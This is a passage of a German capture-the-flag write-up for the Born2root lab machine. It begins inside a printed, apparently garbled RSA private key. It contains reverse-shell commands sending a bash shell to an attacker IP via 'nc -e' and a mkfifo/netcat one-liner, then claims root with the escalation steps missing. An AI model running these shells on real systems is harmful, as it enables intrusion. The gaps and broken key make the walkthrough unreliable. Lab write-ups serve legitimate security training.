MIIEowIBAAKCAQEAoNgGGyEpn/txphuS2pDA1i2nvRxn6s8D58QcSsY+/Nm6wC
tprVUPb+fmkKvf5ntACY7c/5fM4y83+UWPG0l90WrjdaTCPaGAHjEpZYKt0lEc0
FiQkXTvJS4faYHNah/mEvhldgTc59jeX4di0f660mJjF31SA9UgMLQReKd5GKtUx
5m+sQq6L+VyA2/6GD/T3qx35AT4argdk1NZ9Nmj1ZcIp0evVJvUul34zuJZ5mDv
DZuLRR6QpcMLJRGEFZ4qwkMZn7NavEmfX1Yka6mu9iwxkY6iT45YA1C4p7NEi5yI
/P6kDxMfCVELAUaU8fcPolkZ6xLdS6yyThZHHwIDAQABAoIBAAZ+clCTTA/E3n7E
LL/SvH3oGQd16xh92FyR4YIQMWQKwb7/gfEpWjpPf/dT+sK9eypnoDiZkmYhw
+rGii6Z2wCXhjN7wXPnj1qotXkpu4bgS3+F8+BLjlQ79ny2Busf+pQNf1syexDJS
sEkoDLGTBiubD3Ii4UoF7KfsozihdmQY5qud2c4iE0ioayo2m9XIDreJEB20Q5Ta
lV0G03unv/v7K3g8dAQHrBR9MXuYiorcwxLAe+Gm1h4XanMKDYM5/jW4J2ITAn
kPducC9chbM4NqB3ryNCD4YEgx8zWGDt0wjgyfnsF4fiYEI6tqAwWoB0tdqJFXAy
FlQJfYECgYEAz1bFCpGBCApF1k/oaQAyy5tir5NQpttCc0L2U1kiJWNmJSHk/tTX
4+ly0CBUzDkkedY1tVYK7TuH7/tjh8M1BLa+g+Csb/WLuMKmpoqyaejmoKkLnB
WVGkcdIulfsW7DWVMS/zA8ixJpt7bvY7Y142gkurxqjLMz5s/xT9geECgYEAxpfC
fGvogWRYUY07LE/b7oMVdBQsmlnaKVybuKf3RjeCYhbiRSzKz05NM/1Cqf359l
Wdznq4fkIvr6khliuj8GuCwv6wKn9+nViS18s1bG6Z5UJYSRJRpviCS+9BGShG1s
Kf1fAWNwRcn1UKtdQVvaLBX9kIwcmTBrl+e6P8CgYAtz24Zt6xaqmpjv6QKDxEq
C1rykAnx0+AKt3DVWYxB1oRrD+IYq85HfPzxHzdK8LzaHDVb/1aDR0r2MqyfAnJ
kaDwPx0RSN++mzGM7ZXSuuWtcaCD+YbxUsgGuBQIvodlnkwNPfsjhsV/KR5D85v
VhGVGEML0Z+T4ucSNQEAQKBgQCHedfvUR3Xx0CIwbP4xNHlwiHPecMHcNBbS+J
4ypkMF37BghXx4tCoA16fbNIhbWUsKtPwm79oQnaNeu+ypiq8RFt78orzMu6JIH
dsRvA2/Gx3/X6Eur6BDV61to3P6+zqh3TuWU6Uadt+nHIANqj93e7jy9uI7jtC
XXDmuQKBgHZAE6GTq47k4sbFbWqldS79yhjjLloj0VUhValZyAP6XV8JTiAg9CYR
2o1pyGm7j7wfhIZNBP/wwJSC2/NLV6rQeH7Zj8nFv69RcRX56LrQZjFAWWsa/C43
rlJ7dFH7FQbGp51ub88M1ViXR6/fU8MkXfi1KkETj/xp6t+
--END RSA PRIVATE KEY--

Die Datei enthält den privaten Schlüssel! Dies bestätigt, dass wir den Schlüssel bereits auf dem System gefunden hatten. Es ist unklar, warum die Datei eine `.php`-Endung hat. Es könnte ein Versuch sein, die Datei zu verstecken oder zu verschleiern.

Wir versuchen, uns nun via SSH mit diesem Key anzumelden, dies hat aber nicht funktioniert. Dann schauen wir uns mal die Reverse Shell von Jimmy an.

Wir probieren einen anderen Ansatz aus.

martin@debian$ cat /tmp/sekurity.py
#!/usr/bin/python

import os

os.system("nc -e /bin/bash 192.168.2.199 9001");

Wir schauen uns nun die Reverse Shell des Jimmys genauer an.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...

Wir starten einen Netcat-Listener auf Port 9001, um die Reverse Shell zu empfangen.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.129] 55393
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.129] 55393
id
uid=1002(jimmy) gid=1002(jimmy) groups=1002(jimmy)

Wir haben eine Shell als Benutzer `jimmy` erhalten! Dies ist ein wichtiger Schritt, da wir nun die Privilegien eines anderen Benutzers haben. Als Nächstes untersuchen wir die Rechte des Benutzers `jimmy`.

jimmy@debian$ sudo -l
bash: sudo : commande introuvable

`sudo` ist auch für `jimmy` nicht verfügbar. Wir suchen erneut nach SUID-Binärdateien.

jimmy@debian$ ls -la
total 32
drwx 2 jimmy jimmy 4096 juin 9 2017 .
drwxr-xr-x 5 root root 4096 juin 9 2017 ..
-rw-r--r-- 1 root root 16 juin 9 2017 .bash_history
-rw-r--r-- 1 jimmy jimmy 220 juin 8 2017 .bash_logout
-rw-r--r-- 1 jimmy jimmy 3515 juin 8 2017 .bashrc
-rwsrwxrwx 1 root root 7496 juin 9 2017 networker
-rw-r--r-- 1 jimmy jimmy 675 juin 8 2017 .profile

Wir sehen eine interessante Datei: `-rwsrwxrwx 1 root root 7496 juin 9 2017 networker`. Diese Datei hat das SUID-Bit gesetzt und ist für alle ausführbar. Dies bedeutet, dass jeder Benutzer, der diese Datei ausführt, dies mit Root-Privilegien tut. Dies ist ein klares Ziel für die Privilegieneskalation! Wir versuchen, diese Datei auszuführen.

jimmy@debian$ ./networker
networker: bopscrk : commande introuvable

Die Ausführung von `networker` schlägt fehl, da ein Befehl namens `bopscrk` nicht gefunden wird. Dies deutet darauf hin, dass `networker` von einer bestimmten Umgebung abhängig ist. Um dies zu beheben, erstellen wir eine interaktive Shell und leiten die Ein- und Ausgabe über Netcat um.

jimmy@debian$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5555 >/tmp/f
rm: impossible de supprimer  /tmp/f : Aucun fichier ou dossier de ce type

Dieser Befehl erstellt eine interaktive Shell und leitet sie über Netcat um. `rm /tmp/f` versucht, eine möglicherweise vorhandene FIFO-Datei zu entfernen. `mkfifo /tmp/f` erstellt eine FIFO-Datei (named pipe). `cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5555 >/tmp/f` leitet die Eingabe von `/tmp/f` an `/bin/sh -i` (interaktive Shell) weiter, leitet sowohl Standardausgabe als auch Standardfehler an `nc 192.168.2.199 5555` (Netcat-Verbindung zum Angreifer) weiter und leitet die Ausgabe von Netcat zurück an `/tmp/f`.

Die Ausgabe "rm: impossible de supprimer /tmp/f : Aucun fichier ou dossier de ce type" deutet darauf hin, dass die FIFO-Datei noch nicht existiert. Wir starten nun einen Netcat-Listener auf unserem System, um die Reverse Shell zu empfangen.

Privilege Escalation erfolgreich

Flags

Hier ist die Root Flag.

cat flag.txt
,--. ,. ,. ,--.
| |) /_ ,. ,--.--.,--,--, '.-. \| .--. ' ,. ,. ,-' '-.
| .-. \| .-. || .--'| \ .-' .'| '--'.'| .-. || .-. |'-. .-'
| '--' /' '-' '| | | || |/ '-.| |\ \ ' '-' '' '-' ' | |
`' `' `--' `--''--''--'`--' '--' `' `' `--'

Congratulations ! you pwned completly Born2root's CTF .

I hope you enjoyed it and you have made Tea's overdose or coffee's overdose :p

I have blocked some easy ways to complete the CTF ( Kernel Exploit ... ) for give you more fun and more knownledge ...

Pwning the box with a linux binary misconfiguration is more fun than with a Kernel Exploit !

Enumeration is The Key .

Give me feedback :[FB] Hadi Mene